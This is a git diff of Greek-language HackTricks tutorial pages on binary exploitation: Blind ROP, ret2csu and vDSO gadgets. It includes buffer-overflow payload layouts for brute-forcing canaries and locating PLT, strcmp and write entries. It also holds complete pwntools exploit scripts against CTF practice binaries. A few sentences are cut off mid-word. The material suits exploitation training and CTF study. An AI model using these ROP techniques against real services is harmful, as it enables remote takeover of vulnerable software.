* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
@ -19,28 +19,28 @@
Ο στόχος αυτής της επίθεσης είναι να **καταχραστεί ένα ROP μέσω ενός buffer overflow χωρίς καμία πληροφορία για το ευάλωτο δυαδικό**.\
Αυτή η επίθεση βασίζεται στο ακόλουθο σενάριο:
* Μια ευπάθεια στη στοίβα και γνώση για το πώς να την ενεργοποιήσετε.
* Ένας εξυπηρετητής εφαρμογής που επανεκκινείται μετά από κάθε κρασάρισμα.
* Μια ευπαθής στοίβα και γνώση για το πώς να την ενεργοποιήσετε.
* Ένας εξυπηρετητής εφαρμογής που επανεκκινείται μετά από κάθε κατάρρευση.
## Επίθεση
### **1. Εύρεση ευάθροτου offset** αποστέλλοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του εξυπηρετητή
### **1. Εύρεση ευπαθούς μετατόπισης** αποστέλλοντας έναν επιπλέον χαρακτήρα μέχρι να ανιχνευθεί μια δυσλειτουργία του εξυπηρετητή
### **2. Βίαση του canary** για να διαρρεύσει
### **2. Βίαση του canary** για διαρροή
### **3. Βίαση αποθηκευμένων RBP και RIP** διευθύνσεων στη στοίβα για να τις διαρρεύσει
### **3. Βίαση αποθηκευμένων RBP και RIP** διευθύνσεων στη στοίβα για διαρροή
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις διαδικασίες [εδώ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) και [εδώ (BF Διευθύνσεις στη Στοίβα)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Εύρεση του gadget στάσης**
Αυτό το gadget επιτρέπει ουσιαστικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κράσαρε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και θα βρίσκεται στο τέλος της αλυσίδας ROP κατά την αναζήτηση ROP gadgets για να επιβεβαιώσει ότι ένα συγκεκριμένο ROP gadget εκτελέστηκε.
Αυτό το gadget επιτρέπει ουσιαστικά να επιβεβαιωθεί ότι κάτι ενδιαφέρον εκτελέστηκε από το ROP gadget επειδή η εκτέλεση δεν κατέρρευσε. Συνήθως, αυτό το gadget θα είναι κάτι που **σταματά την εκτέλεση** και θα βρίσκεται στο τέλος της αλυσίδας ROP κατά την αναζήτηση ROP gadgets για να επιβεβαιώσετε ότι ένα συγκεκριμένο ROP gadget εκτελέστηκε.
### **5. Εύρεση BROP gadget**
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό είναι επειδή αν έχετε πρόσβαση σε αυτό το gadget στη μέση ορισμένων οδηγιών, λαμβάνετε gadgets για να ελέγξετε τα **`rsi`** και **`rdi`**:
Αυτή η τεχνική χρησιμοποιεί το [**ret2csu**](ret2csu.md) gadget. Και αυτό οφείλεται στο γεγονός ότι αν έχετε πρόσβαση σε αυτό το gadget στη μέση ορισμένων οδηγιών, λαμβάνετε gadgets για να ελέγξετε τα **`rsi`** και **`rdi`**:
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Αυτά θα ήταν τα gadgets:
@ -51,59 +51,59 @@
Επίσης, παρατηρήστε ότι το ret2csu gadget έχει μια **πολύ μοναδική υπογραφή** επειδή θα αποσυρθούν 6 καταχωρητές από τη στοίβα. Έτσι, αποστέλλοντας μια αλυσίδα όπως:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
`'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ + 0xdead * 6 + STOP`
Αν το **STOP εκτελεστεί**, αυτό σημαίνει βασικά ότι χρησιμοποιήθηκε μια **διεύθυνση που αποσύρει 6 καταχωρητές** από τη στοίβα. Ή ότι η χρησιμοποιηθείσα διεύθυνση ήταν επίσης μια διεύθυνση STOP.
Για να **αφαιρέσετε αυτήν την τελευταία επιλογή**, εκτελείται μια νέα αλυσίδα όπως η ακόλουθη και δεν πρέπει να εκτελεστεί το STOP gadget για να επιβεβαιωθεί ότι η προηγούμενη αποσύρθηκε 6 καταχωρητές:
`'A' * offset + canary + rbp + ADDR`
`'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ`
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατόν να **συμπεράνετε τη διεύθυνση των gadgets για τον έλεγχο του `rsi` και `rdi`**.
Γνωρίζοντας τη διεύθυνση του ret2csu gadget, είναι δυνατόν να **συμπεράνετε τις διευθύνσεις των gadgets για τον έλεγχο του `rsi` και `rdi`**.
### 6. Εύρεση PLT
Η πίνακας PLT μπορεί να αναζητηθεί από το 0x400000 ή από τη **διευθυνση RIP που διέρρευσε** από τη στοίβα (αν χρησιμοποιείται **PIE**). Τα **στοιχεία** του πίνακα είναι **χωρισμένα κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση ο εξυπηρετητής δεν κρασάρει ακόμα κι αν τα ορίσματα δεν είναι σωστά. Επίσης, η ελέγχουσα διεύθυνση ενός στοιχείου στο **PLT + 6B δεν κρασάρει επίσης** καθώς είναι ο πρώτος κώδικας που εκτελείται.
Η πίνακας PLT μπορεί να αναζητηθεί από το 0x400000 ή από τη **διευθύνση RIP που διέρρευσε** από τη στοίβα (εάν χρησιμοποιείται **PIE**). Τα **στοιχεία** του πίνακα είναι **χωρισμένα κατά 16B** (0x10B), και όταν καλείται μια συνάρτηση ο εξυπηρετητής δεν καταρρέει ακόμη και αν τα ορίσματα δεν είναι σωστά. Επίσης, η έλεγχος της διεύθυνσης ενός στοιχείου στο **PLT + 6B δεν καταρρέει** καθώς είναι ο πρώτος κώδικας που εκτελείται.
Επομένως, είναι δυνατόν να βρείτε τον πίνακα PLT ελέγχοντας τις ακόλουθες συμπεριφορές:
Επομένως, είναι δυνατόν να βρείτε τον πίνακα PLT ελέγχοντας την ακόλουθη συμπεριφορά:
* `'A' * offset + canary + rbp + ADDR + STOP` -> χωρίς κρασάρισμα
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> χωρίς κρασάρισμα
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> χωρίς κρασάρισμα
* `'A' * μετατόπιση + canary + rbp + ΔΙΕΥΘΥΝΣΗ + STOP` -> χωρίς κατάρρευση
* `'A' * μετατόπιση + canary + rbp + (ΔΙΕΥΘΥΝΣΗ + 0x6) + STOP` -> χωρίς κατάρρευση
* `'A' * μετατόπιση + canary + rbp + (ΔΙΕΥΘΥΝΣΗ + 0x10) + STOP` -> χωρίς κατάρρευση
### 7. Εύρεση strcmp
Η συνάρτηση **`strcmp`** ορίζει τον καταχωρητή **`rdx`** στο μήκος του συμβολοσειράς που συγκρίνεται. Σημειώστε ότι ο **`rdx`** είναι το **τρίτο όρισμα** και πρέπει να είναι **μεγαλύτερο από 0** για να χρησιμοποιήσουμε αργότερα την `write` για να διαρρεύσουμε το πρόγραμμα.
Η συνάρτηση **`strcmp`** ορίζει τον καταχωρητή **`rdx`** στο μήκος του συμβολοσειράς που συγκρίνεται. Σημειώστε ότι το **`rdx`** είναι το **τρίτο όρισμα** και πρέπει να είναι **μεγαλύτερο από 0** για να χρησιμοποιήσουμε αργότερα το `write` για να διαρρεύσουμε το πρόγραμμα.
Είναι δυνατόν να βρείτε τη θέση του **`strcmp`** στο PLT βασιζόμενοι στη συμπεριφορά του χρησιμοποιώντας το γεγονός ότι τώρα μπορούμε να ελέγξουμε τα 2 πρώτα ορίσματα των συναρτήσεων:
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κρασάρισμα
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> κρασάρισμα
* strcmp(\<αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κρασάρισμα
* strcmp(\<αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> χωρίς κρασάρισμα
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<μη αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<αναγνωσμένη διεύθυνση>, \<μη αναγνωσμένη διεύθυνση>) -> κατάρρευση
* strcmp(\<αναγνωσμένη διεύθυνση>, \<αναγνωσμένη διεύθυνση>) -> χωρίς κατάρρευση
Είναι δυνατόν να ελέγξετε αυτό καλώντας κάθε είσοδο του πίνακα PLT ή χρησιμοποιώντας τη **αργή διαδρομή PLT** η οποία ουσιαστικά αποτελείται από το **κάλεσμα ενός στοιχείου στον πίνακα PLT + 0xb** (που καλεί το **`dlresolve`**) ακολουθούμενο στη στοίβα από τον **αριθμό εισόδου που επιθυμείτε να εξετάσετε** (ξεκ
### 8. Εύρεση της συνάρτησης Write ή ισοδύναμης
Είναι δυνατόν να ελέγξετε αυτό καλώντας κάθε είσοδο του πίνακα PLT ή χρησιμοποιώντας τη **αργή διαδρομή PLT** η οποία ουσ
### 8. Εύρεση της συνάρτησης Write ή ισοδύναμη
Τελικά, χρειάζεται ένα εργαλείο που να εξάγει δεδομένα για να εξάγει το δυαδικό. Και αυτή τη στιγμή είναι δυνατόν να **ελέγξουμε 2 ορίσματα και να ορίσουμε το `rdx` μεγαλύτερο από 0.**
Τελικά, απαιτείται ένα εργαλείο που εξαγάγει δεδομένα για να εξαχθεί το δυαδικό. Και αυτήν τη στιγμή είναι δυνατόν να **ελέγξουμε 2 ορίσματα και να ορίσουμε το `rdx` μεγαλύτερο από 0.**
Υπάρχουν 3 κοινές συναρτήσεις που μπορούν να καταχραστούν γι' αυτό:
Υπάρχουν 3 κοινές συναρτήσεις που θα μπορούσαν να καταχραστούν γι' αυτό:
* `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **συνάρτηση `write`**, οπότε ας μιλήσουμε γι' αυτήν:
Ωστόσο, το αρχικό έγγραφο αναφέρει μόνο τη **`write`**, οπότε ας μιλήσουμε γι' αυτήν:
Το τρέχον πρόβλημα είναι ότι δεν γνωρίζουμε **πού βρίσκεται η συνάρτηση write μέσα στο PLT** και δεν γνωρίζουμε **έναν αριθμό fd για να στείλουμε τα δεδομένα στο socket μας**.
Ωστόσο, γνωρίζουμε **πού βρίσκεται ο πίνακας PLT** και είναι δυνατόν να βρούμε τη συνάρτηση write βασιζόμενοι στην **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλαπλές συνδέσεις** με τον εξυπηρετητή και να χρησιμοποιήσουμε ένα **υψηλό FD** ελπίζοντας ότι ταιριάζει με κάποια από τις συνδέσεις μας.
Ωστόσο, γνωρίζουμε **πού βρίσκεται ο πίνακας PLT** και είναι δυνατόν να βρούμε την write βασιζόμενοι στην **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλαπλές συνδέσεις** με τον εξυπηρετητή και να χρησιμοποιήσουμε ένα **υψηλό FD** ελπίζοντας ότι ταιριάζει με κάποια από τις συνδέσεις μας.
Υπογραφές συμπεριφοράς για την εύρεση αυτών των συναρτήσεων:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν δεδομένα που εκτυπώνονται, τότε βρέθηκε η puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν δεδομένα που εκτυπώνονται, τότε βρέθηκε η dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν δεδομένα που εκτυπώνονται, τότε βρέθηκε η write
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε το puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε το dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν υπάρχουν εκτυπωμένα δεδομένα, τότε βρέθηκε η write
## Αυτόματη Εκμετάλλευση

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
@ -18,15 +18,15 @@
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
Το **ret2csu** είναι μια τεχνική χάκινγκ που χρησιμοποιείται όταν προσπαθείτε να αναλάβετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.&#x20;
Το **ret2csu** είναι μια τεχνική χάκινγκ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.&#x20;
Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κοσμήματα που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται `__libc_csu_init`.
Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κειμήλια που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται `__libc_csu_init`.
### Τα Μαγικά Gadgets στο \_\_libc\_csu\_init
Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που ξεχωρίζουν:
1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε διάφορους καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε διάφορα registries (rbx, rbp, r12, r13, r14, r15). Αυτά είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
```armasm
pop rbx;
pop rbp;
@ -36,11 +36,11 @@ pop r14;
pop r15;
ret;
```
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές παίρνοντας τιμές από τη στοίβα και τις τοποθετούμε σε αυτούς.
Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτούς.
2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ορίσει για να κάνει μερικά πράγματα:
* **Μεταφορά συγκεκριμένων τιμών σε άλλους καταχωρητές**, καθιστώντας τους έτοιμους για να τα χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται με την προσθήκη των τιμών σε r15 και rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.
* **Μεταφορά συγκεκριμένων τιμών σε άλλους καταχωρητές**, καθιστώντας τους έτοιμους για να τις χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
* **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται με την προσθήκη των τιμών στο r15 και rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.
```armasm
mov rdx, r15;
mov rsi, r14;
@ -61,8 +61,8 @@ ret
```
Οι συνθήκες θα είναι:
* Το `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν υπάρχει ιδέα και δεν υπάρχει Position Independent Executable (PIE), μπορείτε απλά να χρησιμοποιήσετε τη λειτουργία `_init`):
* Αν το \_init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε ένα δείκτη στη μνήμη προς αυτό και να κάνετε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς το \_init:
* Το `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν υπάρχει ιδέα και δεν υπάρχει Position Independent Executable (PIE), μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`):
* Αν η συνάρτηση `_init` βρίσκεται στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε ένα δείκτη στη μνήμη προς αυτήν και να κάνετε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς το `_init`:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -77,9 +77,9 @@ gef➤ search-pattern 0x400560
## RDI και RSI
Ένας άλλος τρόπος για να ελέγξετε τα **`rdi`** και **`rsi`** από το gadget ret2csu είναι προσπελαώντας συγκεκριμένα offsets:
Ένας άλλος τρόπος να ελέγξετε τα **`rdi`** και **`rsi`** από το gadget ret2csu είναι προσπελαύνοντάς τα σε συγκεκριμένα offsets:
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Ελέγξτε αυτήν τη σελίδα για περισσότερες πληροφορίες:
@ -95,8 +95,8 @@ gef➤ search-pattern 0x400560
Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
1. **Ρύθμιση των Registries**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να αποσυρθούν οι τιμές από τη στοίβα και να μεταφερθούν στα rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
2. **Χρήση του Δεύτερου Gadget**: Με αυτά τα registries ορισμένα, χρησιμοποιείτε το δεύτερο gadget. Αυτό σάς επιτρέπει να μετακινήσετε τις επιλεγμένες σας τιμές στα `rdx` και `rsi` (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και την τοποθετείτε στο `[r15 + rbx*8]`.
1. **Ρύθμιση των Registries**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στα rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
2. **Χρήση του Δεύτερου Gadget**: Με αυτά τα registries ορισμένα, χρησιμοποιείτε το δεύτερο gadget. Αυτό σάς επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στα `rdx` και `rsi` (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και την τοποθετείτε στο `[r15 + rbx*8]`.
Έχετε ένα [**παράδειγμα χρησιμοποιώντας αυτήν την τεχνική και εξηγώντας την εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:
```python
@ -123,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
{% hint style="warning" %}
Σημειώστε ότι το προηγούμενο exploit δεν προορίζεται να κάνει **`RCE`**, αλλά να καλέσει απλά μια συνάρτηση που ονομάζεται **`win`** (παίρνοντας τη διεύθυνση του `win` από την είσοδο καλώντας τη gets στη ROP αλυσίδα και αποθηκεύοντάς τη στο r15) με ένα τρίτο όρισμα με την τιμή `0xdeadbeefcafed00d`.
Σημειώστε ότι το προηγούμενο exploit δεν προορίζεται να κάνει **`RCE`**, αλλά απλά να καλέσει μια συνάρτηση που ονομάζεται **`win`** (παίρνοντας τη διεύθυνση του `win` από την είσοδο καλώντας τη gets στη ROP αλυσίδα και αποθηκεύοντάς τη στο r15) με ένα τρίτο όρισμα με την τιμή `0xdeadbeefcafed00d`.
{% endhint %}
### Παράκαμψη της κλήσης και φτάνοντας στο ret
Το παρακάτω exploit εξήχθη [**από αυτήν τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο `ret` μετά την κλήση:
Το παρακάτω exploit εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο `ret` μετά την κλήση:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -178,6 +178,6 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Γιατί Να Μην Χρησιμοποιήσετε Απευθείας το libc;
### Γιατί Να Μην Χρησιμοποιήσετε Απευθείας την libc;
Συνήθως αυτές οι περιπτώσεις είναι ευάλωτες και στο [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από ό,τι είναι εύκολα ελέγξιμες με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή**.
Συνήθως αυτές οι περιπτώσεις είναι ευάλωτες και στο [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από ό,τι είναι εύκολα ελέγξιμες με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή**.

View file

@ -18,7 +18,7 @@
Μπορεί να υπάρχουν **gadgets στην περιοχή vDSO**, η οποία χρησιμοποιείται για τη μετάβαση από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτού του τύπου τις προκλήσεις, συνήθως παρέχεται μια εικόνα πυρήνα για να γίνει απορρόφηση της περιοχής vDSO.
Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατόν να γίνει απορρόφηση της ενότητας vdso και να μεταφερθεί στον υπολογιστή με:
Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατόν να γίνει απορρόφηση της ενότητας vdso και να μεταφερθεί στον κεντρικό υπολογιστή με:
```bash
# Find addresses
cat /proc/76/maps
@ -63,16 +63,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
{% hint style="danger" %}
Σημειώστε λοιπόν πώς είναι δυνατόν να **παρακάμψετε το ASLR καταχρώμενοι το vdso** εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG\_COMPAT\_VDSO καθώς η διεύθυνση vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{% endhint %}
### ARM64
Μετά την απορρόφηση και έλεγχο της ενότητας vdso ενός δυαδικού στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κάποιο ενδιαφέρον gadget (καμία δυνατότητα να ελέγξω τους καταχωρητές από τιμές στη στοίβα ή να ελέγξω το x30 για ένα ret) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Ελέγξτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
